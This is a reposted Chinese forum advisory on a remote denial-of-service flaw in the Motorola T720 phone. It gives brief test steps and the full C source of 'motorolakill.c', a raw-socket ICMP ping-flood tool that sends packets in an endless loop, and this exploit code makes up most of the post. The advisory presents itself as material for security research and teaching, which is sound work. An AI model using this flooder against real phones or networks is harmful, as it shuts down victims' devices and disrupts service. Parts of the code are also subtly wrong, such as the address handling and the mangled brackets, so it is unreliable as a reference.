发新话题
打印

[转载]Motorola T720手机远程拒绝服务攻击漏洞源码

[转载]Motorola T720手机远程拒绝服务攻击漏洞源码

信息来源:搜毒网

受影响系统:
Motorola T720
描述:
BUGTRAQ ID: 9779


Motorola T720是一款包含多个功能的手机。


Motorola T720在处理TCP/IP堆栈实现上存在问题,远程攻击者可以利用这个漏洞使手机关机,造成拒绝服务攻击。


Motorola T720手机接到不正常IP通信,当用户通过WAP浏览器连接网络时会造成关机。


〈*来源:Shaun Colley (shaunige@yahoo.co.uk


链接:http://marc.theaimsgroup.com/?l= ... 17294407592&w=2

*〉


测试方法:

--------------------------------------------------------------------------------


警 告


以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Shaun Colley (shaunige@yahoo.co.uk)提供了如下测试方法:


1)把手机连接到Internet。

2)使用类似SYN包或者ICMP_ECHO请求对设备进行攻击。

3)运行WAP浏览器。
复制内容到剪贴板
代码:
# motorolakill.c

#include 〈stdio.h〉

#include 〈stdlib.h〉

#include 〈netinet/in.h〉

#include 〈netdb.h〉

#include 〈netinet/ip.h〉

#include 〈netinet/ip_icmp.h〉


int main(int argc, char *argv[]) {

if(argc 〈 2) {

printf("Usage: %s 〈host〉\n", argv[0]);

exit(0);

}


int sock;

char packet[5000];

int on = 1;

struct sockaddr_in dest;

struct hostent *host;

struct iphdr *ip = (struct iphdr *) packet;

struct icmphdr *icmp = (struct icmp *) packet

+ sizeof(struct iphdr);

if((host = gethostbyname(argv[1])) == NULL) {

printf("Couldn"t resolve host!\n");

exit(-1);

}


if((sock = socket(AF_INET, SOCK_RAW,

IPPROTO_ICMP)) == -1) {

printf("Couldn"t make socket!\n");

printf("You must be root to create a

raw socket.\n");

exit(-1);

}


if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL,

(char *)&on, sizeof(on))) 〈 0) {

perror("setsockopt");

exit(1);

}


dest.sin_family = AF_INET;

dest.sin_addr = *((struct in_addr

*)host-〉h_addr);

ip-〉ihl = 5;

ip-〉id = htons(1337);

ip-〉ttl = 255;

ip-〉tos = 0;

ip-〉protocol = IPPROTO_ICMP;

ip-〉version = 4;

ip-〉frag_off = 0;

ip-〉saddr = htons("1.3.3.7");

ip-〉daddr = inet_ntoa(dest.sin_addr);

ip-〉tot_len = sizeof(struct iphdr) +

sizeof(struct icmphdr);

ip-〉check = 0;

icmp-〉checksum = 0;

icmp-〉type = ICMP_ECHO;

icmp-〉code = 0;

printf("Ping flooding %s!\n", argv[1]);


/* begin flooding here. */

while(1) {

sendto(sock, packet, ip-〉tot_len, 0,

(struct sockaddr *)&dest, sizeof(struct sockaddr));

}

return(0);

}

# EOF motorolakill.c

TOP

发新话题